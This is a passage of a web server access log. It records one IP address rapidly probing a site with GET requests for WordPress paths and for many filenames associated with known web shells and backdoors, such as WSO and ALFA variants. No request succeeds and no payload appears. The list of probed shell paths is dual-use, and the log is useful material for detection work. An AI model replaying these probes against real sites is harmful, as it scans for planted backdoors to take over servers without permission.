301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 146.70.36.126 - - [30/Apr/2025:23:33:02 -0400] "GET /wp-includes/SimplePie/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.36.126 - - [30/Apr/2025:23:33:03 -0400] "GET /wp-content/plugins/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:03 -0400] "GET /jkaeeehs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:33:03 -0400] "GET /.well-known/pki-validation/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:03 -0400] "GET /wp-includes/wp-load.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.36.126 - - [30/Apr/2025:23:33:03 -0400] "GET /wp-admin/includes/manager.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:03 -0400] "GET /vendor/guzzlehttp/alfa-rex.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:04 -0400] "GET /wp-admin/meta/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 146.70.36.126 - - [30/Apr/2025:23:33:04 -0400] "GET /wp-content/plugins/ttxecy/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.36.126 - - [30/Apr/2025:23:33:04 -0400] "GET /wp-Includes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:04 -0400] "GET /include/bussubmit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.36.126 - - [30/Apr/2025:23:33:04 -0400] "GET /map.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.36.126 - - [30/Apr/2025:23:33:04 -0400] "GET /olux.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.36.126 - - [30/Apr/2025:23:33:05 -0400] "GET /wp-includespreviews.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 146.70.36.126 - - [30/Apr/2025:23:33:05 -0400] "GET /repeater.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 146.70.36.126 - - [30/Apr/2025:23:33:05 -0400] "GET /wp-admin/images/module.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:05 -0400] "GET /wp-includes/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:05 -0400] "GET /admin/controller/extension/wpm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:05 -0400] "GET /payout.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:06 -0400] "GET /wp_info.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 146.70.36.126 - - [30/Apr/2025:23:33:06 -0400] "GET /wp-content/upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 146.70.36.126 - - [30/Apr/2025:23:33:06 -0400] "GET /xleet.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:06 -0400] "GET /by.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:06 -0400] "GET /wp-content/plugins/Cache/dropdown.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:07 -0400] "GET /wp-includes/sodium_compat/src/Core/Curve25519/Ge/wp_blog.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:07 -0400] "GET /wp-admin/includes/users.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:07 -0400] "GET /wp-content/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.36.126 - - [30/Apr/2025:23:33:07 -0400] "GET /wp-includes/blocks/table/int/tmpl/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.36.126 - - [30/Apr/2025:23:33:07 -0400] "GET /wp-admin/dropdown.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:07 -0400] "GET /wp-content/plugins/ccx/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:08 -0400] "GET /admin/controller/extension/extension/Not_Found.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:08 -0400] "GET /google.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:33:08 -0400] "GET /sidwso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 146.70.36.126 - - [30/Apr/2025:23:33:08 -0400] "GET /wp-includes/js/tinymce/plugins/compat3x/css/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:08 -0400] "GET /wp-includes/Requests/Text/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:08 -0400] "GET /wp-includes/Requests/Text/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.36.126 - - [30/Apr/2025:23:33:09 -0400] "GET /wp-content/plugins/press/wp-class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:09 -0400] "GET /wp-includes/random_compat/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 146.70.36.126 - - [30/Apr/2025:23:33:09 -0400] "GET /style2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 146.70.36.126 - - [30/Apr/2025:23:33:09 -0400] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:09 -0400] "GET /wp-scripts.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:10 -0400] "GET /adminfuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:33:10 -0400] "GET /comfunctions.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:10 -0400] "GET /epinyins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.36.126 - - [30/Apr/2025:23:33:10 -0400] "GET /filefuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:33:10 -0400] "GET /hinfofuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.36.126 - - [30/Apr/2025:23:33:10 -0400] "GET /qfunctions.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 146.70.36.126 - - [30/Apr/2025:23:33:11 -0400] "GET /qinfofuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.36.126 - - [30/Apr/2025:23:33:11 -0400] "GET /thoms.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.36.126 - - [30/Apr/2025:23:33:11 -0400] "GET /postnews.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:11 -0400] "GET /wp-config-sample.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.36.126 - - [30/Apr/2025:23:33:11 -0400] "GET /admin-ajax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.36.126 - - [30/Apr/2025:23:33:11 -0400] "GET /ms-themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 146.70.36.126 - - [30/Apr/2025:23:33:12 -0400] "GET /my-sites.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 146.70.36.126 - - [30/Apr/2025:23:33:12 -0400] "GET /media.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:12 -0400] "GET /admin-post.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:12 -0400] "GET /options-head.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:12 -0400] "GET /revision.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.36.126 - - [30/Apr/2025:23:33:13 -0400] "GET /term.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:33:13 -0400] "GET /wp-pano.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 146.70.36.126 - - [30/Apr/2025:23:33:13 -0400] "GET /xt/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.36.126 - - [30/Apr/2025:23:33:13 -0400] "GET /moded.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.36.126 - - [30/Apr/2025:23:33:13 -0400] "GET /wp-includes/images/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:13 -0400] "GET /wp-content/themes/signify/firkon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.36.126 - - [30/Apr/2025:23:33:14 -0400] "GET /upgrade.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:14 -0400] "GET /gh.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 146.70.36.126 - - [30/Apr/2025:23:33:14 -0400] "GET /head.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.36.126 - - [30/Apr/2025:23:33:14 -0400] "GET /index1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:14 -0400] "GET /theme-insqbzk.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:33:14 -0400] "GET /good.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 146.70.36.126 - - [30/Apr/2025:23:33:15 -0400] "GET /wp-22.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:15 -0400] "GET /wsoyanz.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.36.126 - - [30/Apr/2025:23:33:15 -0400] "GET /wp-includes/fonts/css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:33:15 -0400] "GET /wp-content/plugins/envato-market/inc/class-envato-market-api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 146.70.36.126 - - [30/Apr/2025:23:33:15 -0400] "GET /wp-admin/network/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.36.126 - - [30/Apr/2025:23:33:15 -0400] "GET /css/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.36.126 - - [30/Apr/2025:23:33:16 -0400] "GET /wp-admin/css/colors/coffee/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:16 -0400] "GET /wp-admin/css/colors/blue/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:16 -0400] "GET /wp-admin/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:16 -0400] "GET /wp-content/plugins/wso112233.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 146.70.36.126 - - [30/Apr/2025:23:33:16 -0400] "GET /wp-includes/wso112233.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:17 -0400] "GET /.well-known/bala.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 146.70.36.126 - - [30/Apr/2025:23:33:17 -0400] "GET /wp-content/dropdown.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.36.126 - - [30/Apr/2025:23:33:17 -0400] "GET /wp-admin/repeater.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.36.126 - - [30/Apr/2025:23:33:17 -0400] "GET /wp-includes/repeater.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 146.70.36.126 - - [30/Apr/2025:23:33:17 -0400] "GET /wp-content/repeater.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:17 -0400] "GET /wp-content/plugins/seoo/wsoyanz.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 146.70.36.126 - - [30/Apr/2025:23:33:18 -0400] "GET /wp-content/plugins/seoo/wsoyanz1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:18 -0400] "GET /cache-compat.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:18 -0400] "GET /ajax-actions.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:18 -0400] "GET /wp-admin/ajax-actions.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:18 -0400] "GET /wp-consar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:19 -0400] "GET /wp-admin/maint/maint/ajax-actions.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:19 -0400] "GET /alfanew.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 146.70.36.126 - - [30/Apr/2025:23:33:19 -0400] "GET /adminfuns.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:19 -0400] "GET /alfanew2.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:19 -0400] "GET /wp-content/plugins/wp-daft/miin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:20 -0400] "GET /wp-content/style-css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:20 -0400] "GET /wp-includes/SimplePie/test.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:20 -0400] "GET /wp-includes/sitemaps/providers/ultra.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.36.126 - - [30/Apr/2025:23:33:20 -0400] "GET /sx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:20 -0400] "GET /wp-includes/SimplePie/gzdecode.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:20 -0400] "GET /wp-admin/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:21 -0400] "GET /images/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:21 -0400] "GET /wp-includes/IXR/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:21 -0400] "GET /ALFA_DATA/alfacgiapi/all.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:33:21 -0400] "GET /wp-admin/css/colors/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:21 -0400] "GET /wp-includes/js/plupload/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:22 -0400] "GET /wp-uploads-config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.36.126 - - [30/Apr/2025:23:33:22 -0400] "GET /wp-admin/includes/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 146.70.36.126 - - [30/Apr/2025:23:33:22 -0400] "GET /cgi-bin/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) 